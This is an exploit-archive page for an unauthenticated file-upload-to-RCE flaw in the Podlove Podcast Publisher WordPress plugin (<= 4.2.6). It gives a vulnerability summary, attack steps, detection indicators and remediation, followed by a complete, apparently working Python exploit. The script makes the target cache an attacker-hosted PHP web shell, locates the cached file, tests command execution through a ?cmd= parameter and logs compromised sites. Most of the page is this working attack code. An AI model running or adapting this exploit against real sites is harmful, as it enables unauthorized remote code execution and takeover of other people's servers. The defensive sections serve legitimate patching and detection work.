PoC Archive PoC Archive
Critical CVE-2025-10147 unpatched

Podlove Podcast Publisher <= 4.2.6 - Unauthenticated Arbitrary File Upload RCE (CVE-2025-10147)

by GHOSTPEL-SEC (PoC); Arkadiusz Hydzik (original discovery) · 2026-07-06

CVSS 9.8/10
Severity
Critical
CVE
CVE-2025-10147
Category
web
Affected product
Podlove Podcast Publisher (WordPress plugin)
Affected versions
<= 4.2.6
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherGHOSTPEL-SEC (PoC); Arkadiusz Hydzik (original discovery)
CVE / AdvisoryCVE-2025-10147
Categoryweb
SeverityCritical
CVSS Score9.8 (per NVD)
StatusWeaponized
Tagswordpress, podlove, podcast-publisher, unauthenticated-file-upload, rce, cwe-434, python
RelatedN/A

Affected Target

FieldValue
Software / SystemPodlove Podcast Publisher (WordPress plugin)
Versions Affected<= 4.2.6
Language / PlatformPython 3 (exploit); PHP / WordPress (target)
Authentication RequiredNo
Network Access RequiredYes

Summary

The Podlove Podcast Publisher plugin for WordPress is vulnerable to arbitrary file upload due to missing file type validation in the move_as_original_file function, present in all versions up to and including 4.2.6. The plugin’s image-caching route accepts an externally hosted URL as a parameter and fetches/caches it locally under wp-content/cache/podlove/ without verifying that the fetched content is actually an image, so a remote PHP file disguised behind an arbitrary URL/extension gets written to a web-accessible cache path. The included PoC (ghostpelsec.py) hex-encodes an attacker-controlled “shell” URL, requests it through Podlove’s /podlove/image/<hex>/100/100/0/<filename> endpoint to trigger the fetch-and-cache, then brute-forces the resulting MD5-hash-derived cache subdirectory/filename to locate and confirm the uploaded PHP shell, finally testing command execution via a ?cmd= parameter.


Vulnerability Details

Root Cause

Podlove’s image-proxy/cache handler builds a local cache file from a remote URL supplied via the request path without validating that the fetched resource is actually image content or restricting the file extension of the cached copy. The move_as_original_file function persists the downloaded content into the plugin’s public cache directory using a filename/extension effectively controlled by the request, allowing a .php (or PHP-executable) file to be written and later requested directly by the web server.

Attack Vector

  1. Attacker hosts a PHP web shell at an externally reachable URL (e.g. an R2/S3 bucket or attacker web server), using a filename such as shell.gif.php.
  2. Attacker hex-encodes that shell URL and requests it via the target’s Podlove image route: GET /podlove/image/<hex-encoded-shell-url>/100/100/0/<filename> — this causes the plugin to fetch the remote file and cache a local copy under wp-content/cache/podlove/<md5-derived-subdir>/.
  3. The attacker computes the expected cache subdirectory as md5(shell_url + filename) and probes a set of likely cached filenames (<filename>_original.php, original.php, etc.) under that path.
  4. Once the cached PHP file is located and confirmed (the PoC checks for a hardcoded marker string in the response), the attacker requests it directly with a ?cmd= query parameter to achieve remote code execution.

Impact

Unauthenticated remote code execution on the WordPress host running the vulnerable plugin, since the attacker fully controls the content and can execute arbitrary PHP once it lands in a web-accessible cache directory.


Environment / Lab Setup

Target:   WordPress site with Podlove Podcast Publisher <= 4.2.6 installed and activated
Attacker: Python 3, `pip install requests`
Shell:    A PHP web shell hosted at an attacker-controlled, publicly reachable URL
          (the original PoC used a Cloudflare R2 bucket URL as the "shell-url" input)

Proof of Concept

PoC Script

See ghostpelsec.py in this folder.

1
2
3
git clone https://github.com/ghostpel-sec/CVE-2025-10147.git
pip install requests
python3 ghostpelsec.py

Detection & Indicators of Compromise

Signs of compromise:

  • PHP files present in wp-content/cache/podlove/ cache subdirectories (this cache should only ever contain image files)
  • Requests to cached files with a ?cmd= query parameter returning command output
  • Outbound HTTP fetches from the server to attacker-controlled domains immediately preceding new files appearing in the Podlove cache

Remediation

ActionDetail
Primary fixUpgrade Podlove Podcast Publisher to a version that validates fetched content as a genuine image and restricts cached file extensions before writing to wp-content/cache/podlove/ — see the vendor’s changelog for the version following 4.2.6
Interim mitigationBlock or disable the Podlove image-cache route at the web server/WAF level, restrict outbound requests from the WordPress host, and audit wp-content/cache/podlove/ for non-image files

References


Notes

Mirrored from https://github.com/ghostpel-sec/CVE-2025-10147 on 2026-07-06. The PoC is a fully functional Python exploit; it verifies the attacker-hosted shell for a hardcoded “Ghostpel-SEC” marker string before and after upload, so it will not work against an arbitrary shell without that marker — this is exploit-author branding baked into the verification logic, not a functional requirement of the underlying vulnerability itself.

ghostpelsec.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
#!/usr/bin/env python3
"""
GHOSTPEL-SEC Podlove Podcast Publisher <= 4.2.6 - Unauthenticated RCE Exploit
Author: GHOSTPEL-SEC
Version: 1.2
"""

import warnings
import urllib3
# Suppress all warnings for clean output
warnings.filterwarnings("ignore")
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

import requests
import hashlib
import sys
import time
import random
from urllib.parse import urlparse, quote
import re

# ASCII Banner
BANNER = """
\033[96m
   ______ _    _  ____  ____  _____ _    _ ______ _____   _____ _____ ______
  / ______| |  | |/ __ \|  _ \|  ___| |  | |  ____/ ____| / ____/ ____|  ____|
 | |  __ | |__| | |  | | |_) | |__ | |  | | |__ | |     | (___| (___ | |__
 | | |_ ||  __  | |  | |  _ <|  __|| |  | |  __|| |      \___ \\___ \|  __|
 | |__| || |  | | |__| | |_) | |___| |__| | |___| |____  ____) |___) | |____
  \_____||_|  |_|\____/|____/|______\____/|______\_____||_____/|_____/|______|

\033[93m           Podlove Podcast Publisher <= 4.2.6 - Unauthenticated RCE
\033[92m                          Author: GHOSTPEL-SEC
\033[94m                    GitHub: https://github.com/ghostpel-sec/
\033[0m
"""

class PodloveExploiter:
    USER_AGENTS = [
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/121.0',
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
        'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
        'Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Mobile/15E148 Safari/604.1',
    ]

    def __init__(self):
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': random.choice(self.USER_AGENTS),
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
            'Accept-Language': 'en-US,en;q=0.5',
            'Accept-Encoding': 'gzip, deflate',
            'Connection': 'keep-alive',
            'Upgrade-Insecure-Requests': '1',
        })
        self.session.verify = False
        self.session.timeout = 30

    def normalize_url(self, url):
        """Normalize target URL"""
        url = url.strip()
        if not url.startswith(('http://', 'https://')):
            url = 'http://' + url
        return url.rstrip('/')

    def get_filename_from_url(self, shell_url):
        """Extract filename from shell URL - CORRECTED version"""
        parsed = urlparse(shell_url)
        # Split path and get last part, then split by dot and take first part
        filename = parsed.path.split('/')[-1].split('.')[0] or "shell"
        return filename

    def hex_encode(self, url):
        """Hex encode URL for Podlove parameter"""
        return url.encode().hex()

    def check_vulnerability_marker(self, shell_content):
        """Check if shell contains the Ghostpel-SEC marker"""
        marker = "youtube : https://www.youtube.com/@Ghostpel-Sec || github : https://github.com/ghostpel-sec/"
        return marker in shell_content

    def verify_shell_content(self, shell_url):
        """Verify that the shell URL contains the Ghostpel-SEC marker"""
        try:
            print(f"\033[94m[*] Verifying shell content at: {shell_url}\033[0m")
            response = self.session.get(shell_url, timeout=10)

            if response.status_code == 200:
                content = response.text
                if self.check_vulnerability_marker(content):
                    print(f"\033[92m[+] Shell verified - Ghostpel-SEC marker found!\033[0m")
                    return True
                else:
                    print(f"\033[91m[-] Shell does not contain Ghostpel-SEC marker\033[0m")
                    return False
            else:
                print(f"\033[91m[-] Failed to access shell (HTTP {response.status_code})\033[0m")
                return False
        except Exception as e:
            print(f"\033[91m[-] Error verifying shell: {str(e)}\033[0m")
            return False

    def exploit_target(self, target_url, shell_url):
        """Exploit single target"""
        print(f"\n\033[94m[*] Target: {target_url}\033[0m")
        print(f"\033[94m[*] Shell URL: {shell_url}\033[0m")

        # Extract filename from shell URL - CORRECTED
        filename = self.get_filename_from_url(shell_url)
        print(f"\033[94m[*] Using filename: {filename}\033[0m")

        # First verify the shell content
        if not self.verify_shell_content(shell_url):
            print(f"\033[91m[-] Shell verification failed. Aborting.\033[0m")
            return

        try:
            # Step 1: Trigger upload
            print("\033[94m[*] Triggering shell upload...\033[0m")
            encoded_url = self.hex_encode(shell_url)

            endpoint = f"{target_url}/podlove/image/{encoded_url}/100/100/0/{filename}"

            response = self.session.get(endpoint, timeout=30)

            if response.status_code == 200:
                print(f"\033[92m[+] Upload triggered successfully\033[0m")
            else:
                print(f"\033[91m[-] Upload failed (HTTP {response.status_code})\033[0m")
                return

            # Wait for cache processing
            print("\033[94m[*] Waiting for cache processing...\033[0m")
            time.sleep(3)

            # Step 2: Calculate file location - use shell_url + filename for hash
            file_hash = hashlib.md5((shell_url + filename).encode()).hexdigest()
            subdir = f"{file_hash[:2]}/{file_hash[2:]}"

            print(f"\033[94m[*] Hash: {file_hash}\033[0m")
            print(f"\033[94m[*] Subdir: {subdir}\033[0m")

            # Build possible shell URLs - like the original script
            base_url = f"{target_url}/wp-content/cache/podlove/{subdir}"

            # Get extension from original URL
            parsed = urlparse(shell_url)
            path_parts = parsed.path.split('.')
            ext = path_parts[-1] if len(path_parts) > 1 else 'php'

            # Try different filename patterns
            urls_to_try = [
                f"{base_url}/{filename}_original.{ext}",
                f"{base_url}/original.{ext}",
                f"{base_url}/{filename}.{ext}",
                f"{base_url}/original_{filename}.{ext}",
                # Replace dots with hyphens in filename for some cases
                f"{base_url}/{filename.replace('.', '-')}_original.{ext}",
                f"{base_url}/{filename.replace('.', '-')}.{ext}",
            ]

            # Also try with .php extension if different
            if ext != 'php':
                urls_to_try.extend([
                    f"{base_url}/{filename}_original.php",
                    f"{base_url}/original.php",
                    f"{base_url}/{filename}.php",
                ])

            print(f"\033[94m[*] Searching for shell...\033[0m")

            shell_found = False
            shell_path = None

            for test_url in urls_to_try:
                print(f"\033[94m[*] Trying: {test_url}\033[0m")
                try:
                    response = self.session.get(test_url, timeout=5)
                    if response.status_code == 200:
                        # Check for error indicators
                        content_lower = response.text.lower()
                        error_indicators = ['404 not found', '403 forbidden', 'access denied']

                        if not any(error in content_lower for error in error_indicators):
                            print(f"\033[92m[+] Found potential shell at: {test_url}\033[0m")

                            # Verify the uploaded shell contains the marker
                            if self.verify_shell_content(test_url):
                                print(f"\033[92m[+] Uploaded shell verified with Ghostpel-SEC marker\033[0m")
                                shell_found = True
                                shell_path = test_url
                                break
                            else:
                                print(f"\033[91m[-] Shell found but missing Ghostpel-SEC marker\033[0m")
                except:
                    continue

            if shell_found and shell_path:
                print(f"\033[92m[+] SUCCESS! Shell uploaded successfully\033[0m")
                print(f"\033[92m[+] Shell URL: {shell_path}\033[0m")

                # Output format: url | filename | shell_path
                print(f"\n\033[93m[RESULT] {target_url} | {filename} | {shell_path}\033[0m")

                # Save to file
                try:
                    with open('ghostpel_results.txt', 'a') as f:
                        f.write(f"{target_url} | {filename} | {shell_path}\n")
                    print(f"\033[92m[+] Result saved to ghostpel_results.txt\033[0m")
                except:
                    pass

                # Test shell with a simple command
                test_cmd = f"{shell_path}?cmd=echo+GHOSTPEL-SEC"
                try:
                    test_response = self.session.get(test_cmd, timeout=5)
                    if test_response.status_code == 200 and 'GHOSTPEL-SEC' in test_response.text:
                        print(f"\033[92m[+] Shell command execution verified\033[0m")
                    else:
                        print(f"\033[93m[!] Shell found but command execution may not work\033[0m")
                except:
                    print(f"\033[93m[!] Could not verify command execution\033[0m")
            else:
                print(f"\033[91m[-] No valid shell found with Ghostpel-SEC marker\033[0m")

        except Exception as e:
            print(f"\033[91m[-] Error: {str(e)}\033[0m")

def main():
    # Print banner
    print(BANNER)

    # Get user input
    print("\033[94m[*] Please provide the following information:\033[0m")

    target_url = input("\033[93m[?] Enter target URL: \033[0m").strip()
    shell_url = input("\033[93m[?] Enter shell-url: \033[0m").strip()

    # Validate inputs
    if not target_url or not shell_url:
        print("\033[91m[-] Error: Both URL and shell-url are required!\033[0m")
        sys.exit(1)

    print(f"\n\033[94m[*] Target: {target_url}\033[0m")
    print(f"\033[94m[*] Shell URL: {shell_url}\033[0m")

    # Initialize exploiter
    exploiter = PodloveExploiter()

    # Normalize URL
    target_url = exploiter.normalize_url(target_url)

    # Exploit target
    exploiter.exploit_target(target_url, shell_url)

    print(f"\n\033[94m[*] Exploitation completed\033[0m")

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\n\n\033[93m[!] Interrupted by user\033[0m")
        sys.exit(0)
    except Exception as e:
        print(f"\n\033[91m[-] Unexpected error: {str(e)}\033[0m")
        sys.exit(1)